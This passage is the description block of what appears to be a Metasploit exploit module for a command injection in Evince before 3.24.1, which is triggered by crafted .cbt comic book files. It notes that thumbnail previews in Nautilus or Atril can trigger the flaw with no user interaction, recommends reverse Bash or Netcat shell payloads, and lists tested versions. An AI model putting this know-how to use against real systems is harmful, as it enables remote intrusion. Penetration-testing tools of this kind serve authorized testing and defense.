      'Description'    => %q{
        This module exploits a command injection vulnerability in Evince
        before version 3.24.1 when opening comic book `.cbt` files.

        Some file manager software, such as Nautilus and Atril, may allow
        automatic exploitation without user interaction due to thumbnailer
        preview functionality.

        Note that limited space is available for the payload (<256 bytes).
        Reverse Bash and Reverse Netcat payloads should be sufficiently small.

        This module has been tested successfully on evince versions:

        3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
        3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
